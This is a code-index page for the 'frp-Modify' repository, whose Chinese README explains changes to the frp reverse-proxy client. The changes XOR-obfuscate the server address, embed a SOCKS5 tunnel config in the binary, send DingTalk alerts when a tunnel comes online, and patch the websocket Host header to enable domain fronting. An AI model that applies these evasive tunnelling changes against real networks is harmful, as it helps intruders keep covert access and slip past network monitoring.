MCPcopy Index your code
hub / github.com/M1r0ku/frp-Modify

github.com/M1r0ku/frp-Modify @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
1,946 symbols 6,479 edges 183 files 193 documented · 10%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

frp-Modify

使用说明

  • cmd/frpc/sub/root.go#getFileContent()函数中,按需修改 FRPC 配置和key(默认testkey
func getFileContent(ip string, port string) {
    key := "testkey"
    ip = str2xor(ip, key)
    port = str2xor(port, key)

    var configContent string = `[common]
        server_addr = ` + ip + `
        server_port = ` + port + `
    tls_enable = true 
    [plugin_socks]
    type = tcp
    remote_port = 7788
    plugin = socks5
    #plugin_user = ""
    #plugin_passwd = ""
    `
    fileContent = configContent
}

  • 确保安装 Go-1.16+ 和 GCC 环境,然后运行package.sh进行交叉编译
$ go env -w GOPROXY=https://goproxy.cn,direct  # 设置代理
$ ./package.sh

  • FRPS正常运行,FRPC则需要传入异或后的字符串。可通过xor.py脚本进行异或,异或后的字符串可能存在特殊字符\,因此建议使用双引号包裹
$ ./frpc -t <IP> -p <端口>
$ ./frpc -t "E\AZZSAZTBEET" -p "CUCD"  # 192.168.111.1:7000

钉钉提醒

  • 需要在client/control.go#HandleNewProxyResp()函数中配置钉钉机器人AccessTokenSecret,然后在前面的配置部分添加相关plugin_userplugin_passwd即可
func (ctl *Control) HandleNewProxyResp(inMsg *msg.NewProxyResp) {
    // ...

    if err != nil {
        xl.Warn("[%s] start error: %v", inMsg.ProxyName, err)
    } else {
        // 配置钉钉机器人
        dingAccessToken := ""
        dingSecret := ""

        // ...
    }

    // ...
}

域前置

  • 修改依赖包 go/pkg/mod/golang.org/x/net@v0.0.0-202xxx/websocket/client.go#NewConfig() 方法,添加回源 Host
func NewConfig(server, origin string) (config *Config, err error) {
    config = new(Config)
    config.Version = ProtocolVersionHybi13
    config.Location, err = url.ParseRequestURI(server)
    if err != nil {
        return
    }
    config.Origin, err = url.ParseRequestURI(origin)
    if err != nil {
        return
    }
    config.Header = http.Header(make(map[string][]string))
+   config.Header.Set("Host", "test.baidu.local")
    return
}
  • 然后修改 go/pkg/mod/golang.org/x/net@v0.0.0-202xxx/websocket/hybi.go#hybiClientHandshake() 方法
func hybiClientHandshake(config *Config, br *bufio.Reader, bw *bufio.Writer) (err error) {
    bw.WriteString("GET " + config.Location.RequestURI() + " HTTP/1.1\r\n")

    // According to RFC 6874, an HTTP client, proxy, or other
    // intermediary must remove any IPv6 zone identifier attached
    // to an outgoing URI.

+   // FRP Websocket Host
+   host := config.Location.Host
+   if tmpHost := config.Header.Get("Host"); tmpHost != "" {
+       host = tmpHost
+   }
+   bw.WriteString("Host: " + removeZone(host) + "\r\n")
+   // bw.WriteString("Host: " + removeZone(config.Location.Host) + "\r\n")

    // ...
}
  • 最后在cmd/frpc/sub/root.go#getFileContent()中配置开启 Websocket 协议
protocol = websocket

参考文章

Extension points exported contracts — how you extend this code

Visitor (Interface)
Visitor is used for forward traffics from local port tot remote service. [25 implementers]
frp-dev/client/visitor.go
CounterMetric (Interface)
CounterMetric represents a single numerical value that only ever goes up. [2 implementers]
frp-dev/pkg/util/metric/metrics.go
ServerMetrics (Interface)
(no doc) [4 implementers]
frp-dev/server/metrics/metrics.go
Generator (Interface)
Generator is an interface to provision the serving certificate. [1 implementers]
frp-dev/test/e2e/pkg/cert/generator.go
Proxy (Interface)
Proxy defines how to handle work connections for different proxy type.
frp-dev/client/proxy/proxy.go
CreatorFn (FuncType)
params has prefix "plugin_"
frp-dev/pkg/plugin/client/plugin.go
GetWorkConnFn (FuncType)
(no doc)
frp-dev/server/proxy/proxy.go
Server (Interface)
(no doc) [2 implementers]
frp-dev/test/e2e/mock/server/interface.go

Core symbols most depended-on inside this repo

n
called by 2560
frp-dev/assets/frps/static/vendor.js
o
called by 724
frp-dev/assets/frpc/static/vendor.js
i
called by 484
frp-dev/assets/frps/static/vendor.js
o
called by 477
frp-dev/assets/frps/static/vendor.js
r
called by 303
frp-dev/assets/frps/static/vendor.js
n
called by 235
frp-dev/assets/frpc/static/vendor.js
a
called by 223
frp-dev/assets/frps/static/vendor.js
l
called by 191
frp-dev/assets/frps/static/vendor.js

Shape

Function 1,056
Method 637
Struct 195
Interface 20
Class 16
FuncType 14
TypeAlias 8

Languages

Go61%
TypeScript39%
Python1%

Modules by API surface

frp-dev/assets/frps/static/vendor.js368 symbols
frp-dev/assets/frpc/static/vendor.js368 symbols
frp-dev/pkg/config/proxy.go85 symbols
frp-dev/client/proxy/proxy.go40 symbols
frp-dev/server/proxy/proxy.go27 symbols
frp-dev/pkg/util/net/conn.go25 symbols
frp-dev/pkg/config/visitor.go25 symbols
frp-dev/test/e2e/pkg/request/request.go23 symbols
frp-dev/server/dashboard_api.go22 symbols
frp-dev/pkg/util/vhost/http.go22 symbols
frp-dev/web/frps/src/utils/proxy.js21 symbols
frp-dev/client/visitor.go21 symbols

For agents

$ claude mcp add frp-Modify \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact